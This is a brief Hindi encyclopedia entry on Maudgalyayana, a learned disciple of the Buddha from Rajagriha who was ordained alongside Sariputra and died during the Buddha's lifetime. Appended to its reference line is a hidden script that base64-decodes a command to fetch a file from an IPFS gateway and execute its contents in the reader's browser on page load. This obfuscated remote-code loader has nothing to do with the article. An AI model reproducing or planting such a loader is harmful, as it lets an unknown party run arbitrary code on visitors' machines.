मौदग्ल्यान
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मौदग्ल्यान राजगृह का निवासी था तथा सारिपुत्र के साथ ही बौद्ध धर्म में दीक्षित हुआ था। यह उच्च कोटि का विद्वान् और चिंतक था। इसकी मृत्यु बुद्ध के जीवनकाल में ही हो गयी थी। [1]
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टीका टिप्पणी और संदर्भ
- ↑ दीक्षा की भारतीय परम्पराएँ (हिंदी), 87।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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